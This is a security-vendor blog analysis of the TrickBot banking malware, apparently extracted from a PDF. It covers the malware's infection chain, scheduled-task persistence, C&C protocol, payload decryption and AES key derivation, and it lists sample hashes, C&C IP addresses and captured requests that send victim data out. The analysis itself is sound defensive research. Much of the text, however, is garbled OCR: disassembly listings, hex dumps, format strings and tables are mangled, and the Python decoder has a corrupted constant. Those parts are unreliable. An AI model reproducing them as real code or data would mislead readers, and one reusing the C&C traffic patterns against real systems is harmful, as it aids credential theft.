Introducing TrickBot, Dyreza’s successor
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Malwarebytes Labs October 24, 2016

Recently, our analyst Jérbme Segura captured an interesting payload in the wild. It turned
out to be a new bot that, at the moment of analysis, hadn’t been described yet. According to
strings found inside the code, the authors named it TrickBot (or “TrickLoader”).

Many links indicate that this bot is another product of the threat actors previously
behind Dyreza, a credential-stealer. While TrickBot seems to be written from scratch, it
contains many similar features and solutions to those we encountered analyzing Dyreza.

Analyzed samples

TrickBot’s modules:

e 533b0bdae7f4c8dcd57556a45e1a62c8 — systeminfo32.dll
o c5a0a3dba3c3046e446bd940c20b6092 -systeminfo64.dll

Additional payload:

Distribution

The payload was spread via malvertising campaign, which dropped the Rig_EK:
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Behavioral analysis

After being deployed, TrickBot copies itself into %APPDATA% and deletes the original

sample. It doesn’t change the initial name of the executable, however. (In the given example,

the analyzed sample was named “trick.exe”.)

AppData » Rearning » - | +4 | | Search Roaming

Share with = Mew folder 3= = i
Mame Date modified Type Size

. Microsoft 2015-07-2014:15 File folder

. Maedules 2016-10-20 16:51 File folder

. Mozilla 2015-06-1900:38  File folder
||| client_id 2016-10-2016:51  File 1KE|
| _| config.conf 2016-10-2016:52  CONF File 1KB|
|| group_tag 2016-10-20 16:51 File 1KB|
|57 trick.exe 2016-10-2016:41  Application 403 KB |

First, we can see it dropping two additional files: client_id and group_tag. They are
generated locally and used to identify, appropriately, the individual bot and the campaign to
which it belongs. The content of both files is not encrypted; it contains text in Unicode.

An example of the client id consists of the name of the attacked machine, operating system

version, and a randomly-generated string:
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Example of the group_tag:
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Then, in the same location, we can see config.conf appearing. This file is downloaded from
the C&C and stored in encrypted form.
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After some time, we can see another folder being created in %APPDATA% named Modules.
The malware drops additional modules downloaded from the C&C, which are also stored
encrypted. In a particular session, TrickBot downloaded modules called injectDII32 and

systeminfo32:

AppData » Roaming » Modules »

n library - Share with =

Mame

J injectDI32_configs

|| injectDMi32
|| systeminfo32

-~

Mew folder

Date modified

2016-10-20 16:59
2016-10-20 16:59
2016-10-20 16:59

Type Size

File folder

File 500 KB
File 21 KB

This particular module may also have a corresponding folder where its configuration is
stored. The pattern of the naming convention is [module name]_configs.
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https://blog.malwarebytes.com/glossary/cc/

v AppData » Roaming » Moedules » injectDlZ2_configs

older
Mame Date modified Type Size
|| dinj 2016-10-20 16:59 File 2 KB
|| dpost 2016-10-20 16:59 File 1KE
|| sinj 2016-10-20 16:59 File 1KBE

When we observe the execution of the malware via monitoring tools, i.e. ProcessExplorer,
we can find it deploying two instances of svchost:

=] [0 trick exe 0.01 4540 K 9680 K 145
[m1)swchost exe 1156 K J6BEK 2388 Host Process for Windows 5... Microsoft Corporation
[m~swchost exe 876 K 1752 K 2364 Host Process for Windows 5... Microsoft Corporation

The bot achieves persistence by adding itself as a task in Windows Task Scheduler. It
doesn’t put any effort in hiding the task under a legitimate name, and instead just calls it
“Bot.”

MName Status  Triggers Mext Run Time Last Run Time Last Run Result  Author
® Bot Ready At 00:00 every day - After triggered, repeat every 00:01:00 for a duration of 1 day. 2016-10-2016:57:00 2016-10-20 16:56:00 (0xFFFFFFFF) Author Mame

General | Triggers | Actions | Conditions | Settings | History (disabled)

When you create a task, you must specify the action that will occur when your task starts. To change these actions, open the task property pages using the Properties command.

Action Details
Start a program C\Users\tester\ AppData\Roaming\trick.exe

If the process is killed, it is automatically restarted by the Task Scheduler Engine:

=l [m7swchost exe 0.13 28088 K 32520 K 876 Host Process for Windows 5... Microsoft Corporation
=l [m7taskeng exe 1048 K 4156 K 3012 Task Scheduler Engine Microsoft Corporation

= [ trick exe < 0.01 4436 K 612K 2116
[m-"swchost exe 1216 K 3744 K 2960 Host Process for Windows 5... Microsoft Corporation
[mswchost exe 022 876 K 1788 K 3396 Host Process for Windows 5... Microsoft Corporation

Network communication

TrickBot connects to the several servers:

242 myexternalip.com text/plain 16 bytes raw

326 myexternalip.com text/plain 16 bytes raw

933 15616.royalwebhesting.net text/html 5684 bytes BOT_PACKED.bin

1492 207.244.97.80 application/octet-stream 344 kB ?aff_id=11938&auth=2d0fbffe203e050bcc15bd2ebb74f90a&r=2207860&t=1
1569 15616.royalwebhosting.net text/html 5684 bytes PreLoader_c07.bin

First, it connects to a legitimate server myexternalip.com in order to fetch the IP visible from
outside.
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The interesting part is that it doesn’t try to disguise as a legitimate browser. Instead, it uses
its own User Agent: “BotLoader” or “TrickLoader.”

Most—nbut not all—of the communication with its main C&C is SSL encrypted. Below, you
can see an example of one of the commands sent to the C&C:

POST /tmt2/TESTMACHINE_W617601.0AA51603462315124EDCSEB74D617D48/60/ HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.@ (compatible; MSIE 7.8; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.8.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.8; .NET4.0C; .NET4.0E)

Host: 188.138.1.53

Connection: close

Content-Type: multipart/form-data; boundary=--------- EBBAOKIYWDTVJESP

Content-Length: 727

77777777777 EBBAOKIYWDTVJIESP
Content-Disposition: form-data; name="data"

POST / HTTP/1.1

Host: ocsp.digicert.com

User-Agent: Mozilla/5.@ (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Length: 83

Content-Type: application/ocsp-request

Connection: keep-alive

0QO0BMBKOIE 5 0%P00000000000C (Lo ool oETELEES o o oB0Tlo o ulEo o offto o o s@iRPo w0 oWolbu oo ofL olic
——————————— EBBAOKIYWDTVIESP
Content-Disposition: form-data; name="keys"

77777777777 EBBAOKIYWDTVJIESP
Content-Disposition: form-data; name="link"

http://ocsp.digicert.com/
——————————— EBBAOKIYWDTVJIESP- -
HTTP/1.1 200 OK

connection: close

server: Cowboy

date: Thu, 20 Oct 2016 15:02:43 GMT
content-length: 3

Content-Type: text/plain

/1/

Looking at the URL of POST request, we notice the group_id and the client_id that are the
same as in the files. After that, the command id follows. This format was typical for Dyreza.

The bot also downloads an additional payload (in the particular session it was:
47d9e7c464927052ca0d22af7ad61f5d) without encrypting the traffic:
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https://virustotal.com/en/file/817109d3ea13fe1e718defe4a16959f64d966404a3dcfbe6b1aa85cffc3da765/analysis/

Stream Content

GET /7aff_1d=11938auth=2dofhf{e203e050bccl1Shd2ebb74f 90a&r=0207860&t=1 HTTP/1.1
Connection: Keep-Alive

User- Agent: BotlLoader

Host: 207.244.57.80

HTTE/1.1 200 OK

Date: Fri, 14 Oct 2016 20:58:56 GMT

Server: Apaches2.4.7 (Ubuntu)

X-Powered-By: PHP/5.5.9- lubuntud.14

Accept-Ranges: bytes

Content-Length: 344576

Content-Disposition: attachment; filename=9a3d458322d70046f63dfdsbo153eced cliconl . exe
Keep-Alive: timeout=S, max=100

Connection: Keep-Alive

Content-Type: application/octet-stream

C&Cs are set up on hacked wireless routers, such as MikroTik. This way of setting up the
infrastructure was also previously used by Dyreza.
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37.109.52.75 ¢ | |Q fsearch

MIKroTik
RouterOS v6.34.4

You have connected to a router. Administrative access only. If this device is not in your
possession, please contact your local network administrator.

WebFig Login:
Lomn:|adnﬁn | Login
Password: | |

SAm

Winbox Telnet Graphs Llcense Help

Z mikrotik

In this example of a used HTTPs certificate, we can see that the used data is fully random

and not even trying to imitate legitimate-looking names:

v Ba ¥
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https://193.9.28.24/tmt2/TESTMACHINE_W617601.653EB632 1368914530 28A68C80FCA3IACA/5/sinj/

Certificate Viewer:"rvgvtFfdf"

General | Details

Could not verify this certificate because the issuer is unknown.

Issued To

Common Name (CN) hrg\.rtfdf

Organization (O) tg4rétds
Organizational Unit (OU) rst

Serial Number 00:C5:63:15:A8:0D:6A:86:E5
Issued By

Common Name (CN) rvgvtFdf

Organization (O) tg4rétds

Organizational Unit (OU) rst
Period of Validity

Begins On 08.06.2016
Expires On 08.06.2017
Fingerprinkts

SHA-256 Fingerprink 34:04:69:57:08:B1:C8:F9:7D:B4:D4:E3:3C:57:F8:4F:
23:BO:DF:E@:BE:75:14:77:0B:43:2A:5B:AB:66:25:2D

SHA1 Fingerprint 92:75:D5:27:40:CO:BO:1C:ES:52:32:3D:0F:53:68:D 7 BATAFF:BF

Inside the malware

TrickBot is composed of several layers. As usual, the first layer is used for protection: It
carries the encrypted payload and tries to hide it from AV software.

/ Crypter (protection layer) \

/ Main Bot Loader -32 bit \
¢ ™
Bot 32 bit
(TrickBot core)
e A
¢ ™
Bot 64 bit
(TrickBot core)
e A
\ Bot Loader 64bit /

Loader
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The second layer is a main bot loader that chooses whether to deploy a 32-bit or 64-bit
payload. New PE files are stored in resources in encrypted form. However, the authors didn’t
try to hide the functionality of particular elements, and looking at the names of the resources,
we can easily guess what their purpose is:

A ) RCData

..t IDR_XG4BOT : 0
..t IDR_XB4LOADER : 1033
.y IDR_X86BOT: 0

Selected modules are decrypted during execution.

At the beginning, the application fetches information about the victim’s operating system in
order to choose the appropriate way to follow:

UUSY I w323 pusi ELA

ae4e1836 call eax ; BetHativeSystemInfo
88481838 mov ax, [esp+38h+uar_24]
88481830 cmp ax, 9
aaye1881 jz short sysok
L J
FIEE
08481043 cmp ax, 6
aguB1847 jnz short sys3z
Yy Yy
FIEIE
284081849 aa4a1858
284010849 sys6h: s "IDR_KG4BOT™| (80461058 Sys3z: ; "IDR_X86BOT™
28481849 mov eax, offset aldr_xb64bot 28481650 movw eax, offset aldr_xBébot
8048184E jmp short loc_481855
1
Yy
I
a8481655
88481055 loc_L481655:
004810855 lea edz, [esp+38h+buffer]
884816859 push edx
88481050 lea ecx, [esp+3Ch+1pHem]
88481065E push BCX
ae481085F ﬁall get_resource
884810864 mov edi, [esp+38h+1pHem]
AauA1 868 test Pax, eax
gay|186n jz short loc_L4@18CS

Depending on the environment, a suitable payload is picked from resources, decrypted by a
simple algorithm, and validated:
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il e =
goua16880
084818808 decrypt:
g84016880 xor [ecx], al
88481882 imul eax, BAE52%9h
08481888 dec edx
80401889 add eax, 24D6%h
084 8188E inc ecx
004 0108F cmp edx, ebx
ao4e1091 ja short decrypt
]
Yy
il s =]
g0481093
00481893 loc_4681893:
00481693 mov [esp+38h+buffer], ebx
884810897 cmp esi, 48h
as4818%a jb short loc_4818C3
Y
Lol s =]
8848189C push esi
80481890 lea ebx, [esp+3Ch+buffer]
80401041 mov edx, edi
aaue18a3 kall validate_pe_file
004 310A8 test eax, eax

The decrypting procedure is different than the one found in Dyreza, however, the general
idea of organizing content (three encrypted modules in resources) is analogous.

def decode(data):

decoded = bytearray()

key = 0x3039

i=0

for i in range(0, len(data)):
dec_val = data[i] N (key % 0x100)
key *= OxXOQAE529
key += 0x24D69
decoded.append(dec_val)

return decoded

See full decoding script:
https://qgithub.com/hasherezade/malware_analysis/blob/master/trickbot/trick_decoder.py

Returning to our malware analysis, next, the unpacked bot is mapped to the memory by a
dedicated function and deployed.

The 32-bit bot maps the new module inside its own memory (self-injection):
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https://github.com/hasherezade/malware_analysis/blob/master/dyreza/dyreza_decoder.py
https://github.com/hasherezade/malware_analysis/blob/master/trickbot/trick_decoder.py

[ a Vo a1 [ [ NS TS 151 B FrLw M g w111} Hl |
BES4E88E | BRG] FOOE [ Priv BEEZ166Z R RUE
ceeen SantelE e “
trlc ot
BE4E1HER | BEEEZEEE| trickbot | . text [B] Dump - 00240000..00256FFF =N R 5=
BE4E2G9E | BEEE1068| trickbot | .rdata BEZHEEE .-
BE484@9E8 | BEEE106E| trickbot | .data BREARE L E i
BE4ESEEE | BENZFEEE | trickbot | rsro BAZ4EE2E .
G54 48858 | DEREABOE BRZ4BESE ] .-
AASARRRE BHEESEEE AAZ40645| BE 1F BA @E| @@ B4 83 CO 21 BS @1 4C CD 21 54 &38| ATIA.H .=1SEL=T
BEES0EEE) BEEE408E AEZ40E56| 69 73 28 7@ vE 6F 67 v2 61 60 28 63 61 6E 6E &F| is program canno
AESOEEEE | HE161 808 AEZ4EECE| 74 20 62 65 28 72 75 G6E 28 69 GE 28|44 4F 53 28|t be run in DOS
AOSHEEEE | HE11 a0 . GEZ4EE7H| 60 6F &4 &5 2E G0 G0 OA 24 66 G0 OG5 G0 B8 G0 55| Mode. . afeeenaan
F2856008| BOBA16008( webio GBRZ40E50| 06 29 FO 32 EZ 48 93 61 E2 45 93 &1 EZ2 45 93 61| 2)#20Haa0HGadHsa
FEBI106E| ARASZO08| webio - bent ARZ4E599| EE 38 86 61 EBE 48 93 61 EE 28 @8 o1 E6 48 92 &1| UB+aliHiald, a5Hia
FZBCIA0EN AOOAAAGA| webio -data AAZ40E05| EE 2@ 18 61 A7 48 93 61 21 47 F2 &1 ES 48 93 61| U@kaiHiatG alHia
FEBCOGEE| ARABFEAA| webio - DSEG ARZ4E6EE| 80 3E 33 61 EG 48 93 61 EE 28 17 &1 F3 48 92 61| 2»3adHialdta"Hia
F2B0CAEE N ARRAZAREA| webio -relos AEZ4EECE| 21 47 CC 61 E3 48 93 61/ 21 47 CE 61 FS 48 93 61| tGlFanHiatGErasHia
FEBEQREE QARR1BAA| Winhttp GEZ4AE08| E2 48 92 61 3C 48 93 &1 C5 SE ED &1 EZ 48 92 61| HIla<HiatevarHia
FZAE1AGRE BEE4DE0E| winhttD | . feut GEZ40GED| S0 SE SC &1 F1 48 92 &1 80 2E 89 &1 ES 45 23 61| 2»<a"Hia2>.alHia
FE12E@EE DOBALAGRA( Winhttp | .data AEZ4BEFE| 20 3E BE &1 E3 48 93 &1/ 52 &9 &3 &2 EZ 48 95 &1|2»HanHiaRichiHia
rel2FEEE| BE0E5EEE | winhttp -l BAZ461 86 |5} FE..LB&,
72154898 BEEE4E0E| winhttp | .reloc BEZ461 10 d. 88
754 7EM00 | BERE1E6E | Winns i BEZ4A] 28 ves
75471060 | BEREZH0E | winns L Ltent BEZ4R1 S JELT
75474006 | 0BGG1006 | winns i | .data

and then redirects execution there:

HE4E1 YRR . |MOW ECH,DWORD FTE DOS: [EDX+ExC] ntdll.7FE37E94
AE4E17AD . |MOU EDEX, DWORD FPTR OS: [ECH+E4C]
BE4E1 7ERA . |MOU DWORD PTRE DS: [EDX+Ex121,ERX
HE4E1FES . |MOU ECH,DWORD PTR DS:[ESI+Ex22]
HEA4E1 FES . |ADD ECH,ERX

. |CALL EC¥ call loaded PE
pgaglven || + | MOU ORI, o1

Entry point of the new module (TrickBot core):

400F 2

i CHAHLL 8824E23E TrickBot main
BE2400FE

JHMP BE240BEER

>

BE240EAS INTZ

BEZ40EE4 | — | JMP DOWORD PTR DO5:LC@x24FZCH] mEucrt seHcept ion: twhat
HEZ40EEAH |- | JMP OWORD PTR D5:LCAx24FZBC] MEuMCrt seHCEpt Lon: : TeHcept ion
BEZ40EL1H |— | JMP OWORD PTR DO5:LCExz24FZ2B41] mEuCrt  eRCceEpt Lon:  except ion
AEEZ40ELE |= | JMP DWORD PTR DOS:[C[Bx24FZE@A] mewcrt . free

BEZ40ELIC |— | JMP OWORD PTR D5:C@x24F2AC] meucrt . _CruThrowER cept Lon

BEZ40E2Z PUSH G 14

BEZ40E24 FUSH Bu251358

BEZ40E2D CALL 8a24E234

aaz4DEZE MO ERK, OWORD PTR DS:[Bx253518]
BEZ40E33 MOY DWORO FTR S5: CEEF-B:1C1,ERX
BAZ40E36 CHMF ERX, 6 1

BEZ40EZS |- | JME SHORT BBz24D0E47

In the case of 64-bit payload being chosen, first the additional executable—a 64bit PE loader
—is unpacked and run. Then it loads the core, malicious bot.

In contrast to Dyreza, whose main modules were DLLs, TrickBot uses EXEs.

The TrickBot internals

The bot is written in C++. It comes with two resources with descriptive names: CONFIG,
which stores encrypted configuration, and KEY, which stores the Elliptic Curve key:

4|} RCData 00011764 |68 00 00 00 45 43 53 33 30 00 00 00 F3 20 86 DB |h  ECS30
..’y CONFIG:0 || 00011774 |20 4D FO 73 37 BS FB 18 BO CO AF 80 BB F3 FB F1 | M a7
|dr KEY -0 00011784 42 CO 3B C6 00 1F 23 EF 1C 4C 06 54 A3 BF A6 19 |J ; 4 L T
00011794 | 7C 41 57 EB 0B BC 7F 41 A1 58 79 70 0D C3 A1 38 | |AW [R Xyp &
00011724 |1C SE E2 72 D1 29 FEB6 55 41 DS BE CTCT 3E1E | ~z ) UA >
00011784 | F3 B4 67 63 D3 50 F5 SB SF D1 CO 56 BE 38 87 DB gc B[ V&
000117C4 |BS 44 D7 E1 38 79 3E 63 2B 03 2E C8 D &ysct

In general, this malware is verbose: meaningful names can be found at every stage.
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The name “TrickBot” also appears in the name of the global mutex (“Global\\TrickBot”)
created by the application in order to ensure that it is run only once:

LI LATO . TN

BE4ECAFS
BE4ECAFC
BE4BCAFF
BE4ECEaS
BE48CERE
BE4ECEa”
BE4ECEBE
AE4ECELE

BE4ECEB1E
BE4ECE28
BE4ECE22
BE48CEZE
BE4ECE27
BE4ECE2S
BE4ECEZE
BE4ECE21
BE4ECE22
BE4BCEIE
BE4BCESE
HE4ECES ]

BE4ECE4S
BE4ECE4E
BE4ECE40
BE4ECEB4F

BE4B8CEER

B aeaw

AN I bl L L e RARTENL

LER ER:, [LOCAL. 3]

MOU ECH, CLOCAL. 11

PUSH %t ick_bo. SB4EFEF4
PUSH @:x1

FUSH ER=

MOW CLOCAL . 41, &=

MOU CLOCAHL . 21, Ex 8

MOU CLOCAL .21, ECE

CALL OWoRD PTR DS:C<&KERHELZZ.
MOU DWORD PTRE DS: [ESI1,ERH
MOU ERX, TLOCAL.11

TEST ER:,ERH

JE SHORT trick_bo.8848CEZE
FUSH ER=

MuterMame = "Elnbal\\TrLcant"
InitialOwner = TRU
pSecurity = BBEEBBB?

KernelBa. F&117EEC
CreateMutenll

hemory = BHOEEE0EF

CALL OWORD PTR DOS:C<&KERMELSZ. klLocalFres
CHF OWORD FTR DS:[ESI], @x@

JHZ SHORT trick_bo.B848CE2E no exit

PUSH Ex1 status = Bul
CALL DWORD PTR D5:[<&mswcort.eqbenit

CALL DWORD PTR DS:[«&KERMEL3Z. CGetLastError
WOR ED, EOE

CHFP _ERH, BET ERROF_ALREADY_EXISTS
SETE OL

Mal ERX, EOE

Mol ESF, EBP

FOF EEFP

RETH

At first execution, TrickBot copies itself into a new location (in %APPDATA%) and deploys
the new copy, giving as an argument path to the original one that needs to be deleted:

MOL ERX, CLOCAL. 2]
ADD ESP,Gm12

LEA ECX, [LOCAL. 117
PUSI

LEA EDi, CLOCAL.3E]
FUSH EDH

MOL ECH, EBX

FUSH ECH

FUSH_@u@

MOL [CLOCAL. 281, &

CALL DWORD _FTR DS E<&KERNEL32 CreateProcesshl

pFroceszInfo = BEZ3SE3S

pStartuplnfo = BB12F7AB
CurrentDic = ™I
pEnvironment = NU
CreationFlags =
InherltHandles = FHLSE
pThreadSecurity = MULL
pProcessSecurity = MULL

CrolgersoresterAppDat s~ Roaming'™
LL

CommandLine = "CissUserssstesters~AppData~~Roaming~~pay load_3.exe ~MCivslsersstesterssDesktopsipay load 3. exen""
Modu leFileMame = MULL

CreateProcesshl

Adding a task of running bot into the Task Scheduler:

AG4612ES
BELE]2F 3
BE4E12FE

BE4812FE
HAEdE 1 2F0

BE4E12381
BE4E1262
BE4E1 265
BE4E1287
ge481288
Ba4a138c
Ba4a1:380
BE4E128E
FE4E 1 2EF

BE4a1314
AE4E1217

BIE4EL 321
aE4E1324

JL trick_bo.BE4E]1959

MO EDI, trick_bo.B8A418F 78
LEA EEAX, [LOCAL.41

CALL trick_bo.@ad4alaaa

MOW ERF, DWORD PTR DOS: CEAK]
CHF ERX,ESI

JE SHORT trick_bo.@@d4a1385
MOL ECH, DWORD PTR DOS: [CEAX]
JHMP SHORT trick_bo.884E81367
A0R ECH,ECH

MO ERX, CLOCAL. 21

MO EDF, DWORD PTR DOS: CEAKX]
FUSH ESI

FUSH ECA

FUSH ERA

MOL ERX, DWORD PTR DOS: [EDX+8w3C]
CALL ERA

LEA EDI,CLOCAL.41]

CALL trick_bo.BAB401858

MOL EDI, trick_bo.86@418F2C
LEA EEBEX,[LOCAL.41
CALU_txick_bo.Bodniona__

Setting the triggering event:

UMICODE "TrickBot™

taskschd. F42662A1
taskschd. 74266201
taskschd. 742662A1

UMICODE "Bot™
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BE4E1E4F
BE4A1EE]
AG4A15ES

HE4E155E
BE4a1561
BE4E 1566
BE4a1562
BE4a155A
BE4a1560c
BE848156E
aE4a157a
aa4a157:2
BE4E157E
BE4a157 7
BE4a1572
BE4a1572
BE4E157C
BE848157E
aa4a1551
aa4a1553
Ba4a15es
G646 1E8H

BE4a1595

BALL EAR 7 T
TEST ERH,EAX

e |us trick_bo.B88401353

MOV EDI, trick_bo.88418F54
LEA EEX,[ARG.11

CALL trick_bo.B884818686
MO ER:, DWORD PTR DS:LCEARX]
CHMP ERH,ESI

v | JE SHORT trick_bo.BE481578

MOL ECk, DWORD PTR DS: [EAX]

| JMP SHORT trick_bo.88401572

e

#OR ECH,ECH

MaL ER=, [LOCAL. &1

MOU ED, OWORD FTR DS:LCEAX]
PUSH ECH

PLUSH ER:

MO ERH, OWORD PTR DS: CEDX+8u24]
CALL ER:

LEA EDI,[ARG. 1]

MOV EE=, ERA

CALL trick_bo.B88481856
CHMF EBEx,ESI

v | L trick_bo.BE481959

MOW EDI, trick_bo.B8416F36
LEA EEX,[ARG.11

UMICODE "Triggerl™

msucrt . T&1BE920A

meucrt . Ye1B920A

UMICODE ™2816-B1-81TEE: BE: BE™

We can find the date pointing to the beginning of 2016, which may confirm the observation
that the bot is new, and was written this year.

TrickBot’s commands

TrickBot communicates with its C&C and sends several commands in a format similar to the
one used by Dyreza. Below is list of format strings used by TrickBot commands:

8485421 | UMICODE "< is-ms- B Hsshs<ms-ns nss "
BA4855R6 || UMICODE "< Hs-ms-1-nss""

BB485738 || UMICODE "< is-rnsr S Hss""

BE4E52AF || UNICODE "sis-xsrs 1B Kesdesnd- "
BE4E5ABG || UMICODE "sHs-Hss 14K HerBerr
BE4E5B4C | UMICODE "< Hs-Hs-23-Hd-"

BE4BECEC| UMICODE "< Hs-Hs 2B Hssm

BE4B5EEY || UMICODE "Xs~Hs- 03 HssHosHsrHersm

Compare that with Dyreza’s command format:

WE Sl || HoL 1L
BF222C332) | ASCII
BF232CEE|| ASCII
BF222CFF|| ASCII
BF22201E|| ASCII
BF233ELF || ASCII
BFZ233E23|| ASCII
BFZ234287 || ASCII
BF2234305 || ASCIL "oissHss22-Hd e Hes
BF2349FC|| ASCII
BF234BC2|| ASCII
BF234BF3|| ASCII
BFZ234BFE|| ASCII
BF234C7C|| HSCII
BFZ234EB2|| ASCII
BF234EGE|| ASCII
BF234E98|| ASCII

v SSDLT
- W e B R M- P S
ModssHesBes s dde He e
T = R oW

- TPl B4 s- Tl
rensonss B ds s He s

"opk”

"™

eds s He s 2R s He s
e Hssam
"zend system info failed™

- TPl B 4T
W W e R P

TrickBot’'s command IDs are hardcoded in the format strings. However, all of them are
deployed from inside the same function that gets the command ID as a parameter:

ae4a3m1c
A848241E
A0L8342Y
A0L83427
A040242D
A048342E
B8483433
A8483 435
80403434

Xor esi, esi

call ds:GetUserHamel!

mou eax, [ebp+arg_ 8]

lea ed®, [ebp+Buffer]

push edx

push offset allser ; “user™
push 14

call send_command_to_ CnC

add esp, BCh

13/26



After filling the appropriate format string and sending it to the C&C, the bot checks the HTTP
response code. If the returned code is different than 200 (OK), 403 (Forbidden), or 404 (Not
found), then it tries again.

00405188

884085188 check_response_code: ; jumptable @848511F default case
868485188 cmp edi, 288

8648518E jz short loc_4851AD

‘ ||
[l s =]

88485198 cmp edi, 483
a84Be5196 jz short loc_4851AD

A J
I
20485198 cmp edi, 484
8848519E jz short loc_4851AD

Y Yvyy
MFE
884851A0 push 15066 ; duMilliseconds| |884851AD
aea4851A5 call ds:Sleep ae4851AD0 loc_L4B51AD:
@e4851AE jmp cshort loc_ 4851BL4 884851AD0 movw [ebp+resp flag], 1

¥ |

Here’s a full list of implemented command IDs:

(0]
1
5
10
14
23
25
63

Each command has the same prefix — that is a group id of the campaign and bot’s individual
id (the same data that are stored in dropped files). Format:

/[group_id]/[client_id]/[command_id]/...
Sample url:

https://193.9.28.24/tmt2/TESTMACHINE W617601.653EB63213B91453D28A68C80FCA3AC4/5/sinj/
More notes about the protocol here.
Encryption

TrickBot uses alternatively two encryption algorithms: AES and ECC.
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https://gist.github.com/hasherezade/88837ea728d3950c7c38160d016ea6cf

e
AeLe2360 lea eax, [ebp+hash_buf]
B4 a2363 push Bax
BLB2364 lea ecy, [ebx+10h]
842367 push BCXE
ByB2368 push edi
a4Ba2369 call sha2%6_128_rounds
ABLB2IGE test 2ax, eax
apyB23vTe jz decrypted
Y
"PIE
BB4B2376 mov ecx, [ebp+hash_buf]
a4a2379 lea edx, [ehp+uar_14]
842370 push edx ; int
Be4a2370 mow edx, [ebp+lpHen]
B4B2380 lea eax, [ebp+pblatal
Be4B2383 push eax : imt
BB4B2384 mov eax, [ebp+arg_ @)
BO4B2387 push BCH : generated_iv
0402388 push edx : generated_key
ao4B2389 add eax, BFFFFFFDBR
B4B8238C push eax ; dwBytes
DOy B2IRD add ebx, dbh
Be482398 push ebx : Src
ao482391 call ags_decrypt
BB4B2396 mov es5i, [ebp+pblatal
aBLBE2399 test 2ax, eax
soNB2398 jz short decrypted
1
h J
™
AALA2 39D mou pax, [es5i]
BBLE239F push A ; int
aaLa2an1 lea PCH, [Paxvesied]
B4 A2 3RS push BCHK » int
ABLa23InG add eax, H
B4 A2 IRY push Bax » dwbDatalen
B4 A2 3IAA push esl » pbData
A4 A2 3B call ecc_decrypt
ABLA23IB0 test Bax, Bax

The downloaded modules and configuration are encrypted by AES in CBC mode. The AES
key and initialization vector are derived from the data, by a custom, predefined algorithm.
First, 32 bytes of input data is hashed, using SHA256. Then, the output of the hashing
function is appended to the data buffer and hashed again. This step is repeated until the full
size of data in buffer become 4096. So, the hashing operation repeats 128 times. Below you
can see the responsible fragment of code:
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Ty

FI*E]
[LET LY v
ABLByAF7 sha2S6 round: ; Algid = CALG_SHA_256
Bo4B8AFT push BBBCH
AOLBMAFC 1ea ecx, [ebpruwar_ U]
BaLBYAFF push BCH int
POLBNBAD 1ea edx, [ehpilpmen]
paLBNBA3 push edx : int
BOLBNBDY push ebx ; duDatalen
oL BNBRS push Bax ; pbData
oLBNBRG call _hash_data
ao4BuBOE test eax, Pax
BOLBLBAD mov eax, [ebp+lpHem]
aByeNB10 j=z short loc 4B4B3F
e _|*
DO4A4B12 cmp ebx, L4096 =
DBHBUBIE j2 short hasing done e
— By BLBAF
BO404BAF loc_4O&BIF:
-+
e BOLBYBIF mov edi, [ebpevar_18]
B84 B4B1A mow edi, [ebp+uar_ &)
BO4BLBID add edi, ebx
PO4BLBIF add eb, a2
BBLANE22 mow ecx, B
BBLBNB2T mow 51, eax
BBLBNE29 rep mousd
BiL4BLE2E cmp ebx, 4096
BoLyBLBE31 jbe short next_round
'y
™E] P
90484833 BOLBLAFY
Be484833 hasing done: BOLBYAFY next round:
BOLDYEIZ mow edx, [ebp+arg E]f |peusuaFs mou eax, [ebp+uar_ 4]
BBUBNBIE mow [edx], eax 1
BBLMBNE3IE mou edi, 1

First 32 byte long chunk of data is used as a initial value to derive AES key:

BE4E4AES [| « | MOV ECK,8us

BE4E4AEE (| . [ MOV EDI,ERX

EE4E4AFE (| . | REF MOVS DWORD PTR ES: [EDI].DOWORD FTR DS:[ESI]

EE4A4AFZ (| .| JMP SHORT trick_bo.B88484AF7

BEa4a4AF (| > MOL ERX, [LOCAL. 11

BE4E4AFF (]| PUSH Ex 2860 ArgS = AEEESEEC

Ga4a4AFc (] . LEH ECH [LOCAL. =]

Ba4a4AFF (| . FUS Argd = AR1ZF7aC

pEd@4gEa (| . LEH EDH [LOCAL. 21

BE4E4BE3 (] . FUSH E0H Hrg3 = AR1ZFrYRE

BE4E4EES (] . FUSH EEX ArgZ2 = ARRBARZEA

FE4A4BEE (] . FUSH ERX Argl = ARZ192EBS
0 CALL trick_bo.B84842348 hash_data

fAAAGRADGAD TCST ChY Chvt

4 |l

ERx=8821 93B3

Address |Hex dump ASCIT

pEz1%2ES|B1 57 61 FF EF IF 34 BE 5F 3C YE B1 24 BF 17 12| &Wa T _<"B5q#%

EEz193C5| 52 E1 1IE E1 BD DS E6 40 4B 1E 17 FA 41 50 vA 46| BEAEZASHE+¥ AIpF

EEZ19302( 74 BE 65 BA FZ2 BE SC BA 44 BE &5 BA 73 BE AB BA|t.e.r.~.D.e.s.k.

FEZ19SES( 74 BA 6F B8 7@ BE SC 8@ &2 BE SF B@ EE BE &5 BA|t.o.p.“.c.o0.n.f.

0E219575| €9 89 67 B 25 D8 €3 0B EF 09 EE B 68 99 99 98| (lal.lclolnifi.

And bytes from 16 to 48 are used as a initial value to derive AES initialization vector:

pad4adars ||+ |pHou EAX, CLOCALL 1]
BE484AFF || » |PPUSH_B:S06C

Ba4a4aFc (| . LER ECk, CLOCAL.=1
BE4E4AFF (] . PUSH _ECH
BE4a4Baa8 (] . LEA EDX, CLOCAL.Z21
aE4a4Ba2 (] . FUSH EDX
AE4E4B64 (] . FUSH EBX
HE4684E65 (] . FUSH ER®

. CALL trick_bo.B848434R

4 [l

ArgS = BEE8SEEC

Argd = @A1ZF7IC
Args = AR1ZFFAG
ArgZ? = AEREEERZE
Argl = @O@z2192B3
hash_data

ERX=BB2122ER2

Address |[Hex dump

ASCII

BGz1o0bD| 52 EI IE EI BO DS Eg 40 4B 1B Ir FA 41
EEz1Z8ColBE 90 6B 48 5L S 15 BA 40 BA D3 42 CF

1
mo

G| RE&EZASHEK+3 A1pF
3 wekH 3] LI EB3N I

T—==]

10
[ g
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Compare with the content of CONFIG (mind the fact that the first DWORD is a size, and is
not included in the data):

